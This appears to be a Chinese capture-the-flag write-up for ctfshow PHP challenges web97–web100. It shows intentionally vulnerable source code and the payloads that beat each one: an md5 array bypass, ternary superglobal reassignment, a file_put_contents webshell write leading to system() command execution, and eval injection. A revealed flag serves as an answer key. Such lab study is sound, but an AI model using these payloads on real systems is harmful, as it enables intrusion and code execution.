web97
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
突然想起这些知识点我之前的文章都介绍过,如果想要系统学习:
PHP强相等&弱相等(附带科学计数法)_php 科学计数法-CSDN博客
这里强等于就主流一个绕过数组绕过
POST
a[]=1&b[]=2
web98
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com
*/
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
这里其实就是三目运算符的知识点:
格式:
a?b:c(a对的就执行b,反之则执行c)
那就把$_GET?$_GET=&$_POST:'flag';这里随便传个参数啥的对可以,因为GET上传了参数后$_GET=&$_POST就是要执行的,我下面的HTTP_FLAG=flag就变成了POST
然年后HTTP_FLAG=flag就好了,但是这里是POST
web99
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
array_push这里就是往数组写入的数据的作用,
file_put_contents这里就是可以往文件里面写东西的标志
解析:
0x36d(877)这里是从36循环到877,每次i都加一,也就是说我从1~36直接生成一个随机数,然后1~37之间生成一个随机数,1~38............直到1~876,有没有发现一个事实,我每次的范围都包含了一个数字的,那就是1
有意思的是,这里的数组会对元素进行一个覆盖, 比如$array[1]=’1’
$array[1]=’2’,比如一开始在1这个位置产生了数据,但是第二次随机数又在1这个地方产生数据后就会进行一个覆盖
所以越是前面的数据越是容易出现数据,出现覆盖对吧
file_put_contents这里就是可以往文件里面写东西的标志,可是我该往哪里写入木马呢?那就是1.php,这里的概率最大!
payload:?n=1.php
POST:content=
出现下面的标志的时候证明成功写入了,如果一开始是一片白色啥都没有那就不断刷新页面,使得随机数出现在这个页面,因为一切都是随机的,1.php只是保证了出现的概率最大,但是不保证一定可以,随机数充满随机性
接下来因为我把1传进去了,访问1.php页面,然后直接1=system("ls");发现flag踪迹
最后直接把ls改成tac flag36d.php
web100
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-21 22:10:28
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
这里不会有人$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);被这里骗了吧,以为v2和v3都是要传入数字的,其实不然,v0的赋值级别最高,然后v0是个数字就行,要保证v0是数字只要保证v1传入数字就好了,后面两个管你是不是数字,就算你是false也不影响我后面做题。
if(preg_match("/\;/", $v3)){这里v3只要匹配到分号就好,那就赋值分号,
//flag in class ctfshow;
$ctfshow = new ctfshow();
eval("$v2('ctfshow')$v3");
这里已经明说了flag在class ctfshow;而且还new是实例化对象,出题人是真的怕你不懂直接var——dump输出啊,都已经把反序列化给你做好了,都直接送到嘴边了,直接输出结果就能拿到flag了
payload:
?v1=1&v2=var_dump($ctfshow)&v3=;
把格式包裹,然后0x2d换成-就好了
flag_is_ece1ec5b0x2daab30x2d4fdb0x2d922e0x2dc28159b52cb4
真诚希望我的文章能够帮助大家,谢谢支持!